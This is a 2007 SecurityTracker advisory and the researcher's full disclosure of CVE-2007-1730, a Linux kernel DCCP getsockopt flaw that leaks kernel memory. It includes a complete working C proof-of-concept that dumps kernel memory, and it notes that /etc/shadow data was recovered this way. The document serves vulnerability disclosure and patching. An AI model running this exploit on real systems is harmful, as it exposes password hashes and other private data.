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Category:   OS (Linux)  >   Linux Kernel Vendors:   kernel.org
Linux Kernel do_dccp_getsockopt() Bug Discloses Kernel Memory to Local Users
SecurityTracker Alert ID:  1017820
SecurityTracker URL:  http://securitytracker.com/id/1017820
CVE Reference:   CVE-2007-1730   (Links to External Site)
Updated:  Mar 28 2007
Original Entry Date:  Mar 27 2007
Impact:   Disclosure of system information
Exploit Included:  Yes  
Version(s): 2.6
Description:   A vulnerability was reported in the Linux Kernel. A local user can view portions of kernel memory.

A local user can exploit a flaw in the do_dccp_getsockopt() function in 'net/dccp/proto.c', where the user-suppled 'len' and 'optlen' parameters are not validated. A negative 'len' value or large 'optlen' value may cause kernel data to be copied to a user-space buffer.

Robert Swiecki reported this vulnerability.

Impact:   A local user can read portions of kernel memory.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.kernel.org/ (Links to External Site)
Cause:   Access control error
Underlying OS:  

Message History:   None.


 Source Message Contents

Date:  Tue, 27 Mar 2007 15:19:12 +0200
Subject:  Linux Kernel DCCP Memory Disclosure Vulnerability


Linux Kernel DCCP Memory Disclosure Vulnerability

Synopsis:

 The Linux kernel is susceptible to a locally exploitable flaw
 which may allow local users to steal data from the kernel memory.

Vulnerable Systems:

 Linux Kernel Versions: >= 2.6.20 with DCCP support enabled.
 Kernel versions <2.6.20 lack
 DCCP_SOCKOPT_SEND_CSCOV/DCCP_SOCKOPT_RECV_CSCOV optnames for
 getsockopt() call with SOL_DCCP level, which are used in the
 delivered POC code.

Author:

 Robert Swiecki
 http://www.swiecki.net
 robert@swiecki.net

Details:

 The flaw exists in do_dccp_getsockopt() function in
 net/dccp/proto.c file.

-----------------------
static int do_dccp_getsockopt(struct sock *sk, int level, int optname,
                    char __user *optval, int __user *optlen)
...
if (get_user(len, optlen))
  return -EFAULT;
if (len < sizeof(int))
   return -EINVAL;
...
-----------------------

 The above code doesn't check `len' variable for negative values.
 Because of cast typing (len < sizeof(int)) is always true for
 `len' values less than 0.

 After that copy_to_user() procedure is called:

-----------------------
if (put_user(len, optlen) || copy_to_user(optval, &val, len))
    return -EFAULT;
-----------------------

 What happens next depends greatly on the cpu architecture in-use -
 each cpu architecture has its own copy_to_user() implementation. On
 the IA-32 the code below ...

-----------------------
unsigned long
copy_to_user(void __user *to, const void *from, unsigned long n)
{
        BUG_ON((long) n < 0);
-----------------------

 ... will prevent explotation, but kernel will oops due to
 invalid opcode in BUG_ON().

 On some other architectures (e.g. x86-64) kernel-space data will
 be copied to the user supplied buffer until end-of-kernel space
 (pagefault in kernel-mode occurs) is reached.

POC:

-----------------------
#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <sys/mman.h>
#include <linux/net.h>

#define BUFSIZE 0x10000000

int main(int argc, char *argv[])
{
        void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
                         MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
        if (!mem) {
                printf("Cannot allocate mem\n");
                return 1;
        }
        /* SOCK_DCCP, IPPROTO_DCCP */
        int s = socket(PF_INET, 6, 33);
        if (s == -1) {
                fprintf(stderr, "socket failure!\n");
                return 1;
        }
        int len = -1;
        /* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
        int x = getsockopt(s, 269, 11, mem, &len);

        if (x == -1)
                perror("SETSOCKOPT");
        else
                printf("SUCCESS\n");

        write(1, mem, BUFSIZE);

        return 0;
}
-----------------------

then

-----------------------
make poc; ./poc | strings
-----------------------

I found cached disk blocks in the dump ( e.g. /etc/shadow ;) and
tty buffers.

Resolution:

 Remove dccp support from the installed linux kernel (remove dccp
 kernel modules etc..) or create a patch for kernel sources ;)

Greets and thanks to:

 Przemyslaw Frasunek - venglin@freebsd.lublin.pl -
 http://www.frasunek.com - for his great help during flaw analysis

 Pawel Pisarczyk - pawel@immos.com.pl - for interesting talk about
 the vulnerability exploitation vectors


-- 
Robert Swiecki - http://www.swiecki.net

 
 


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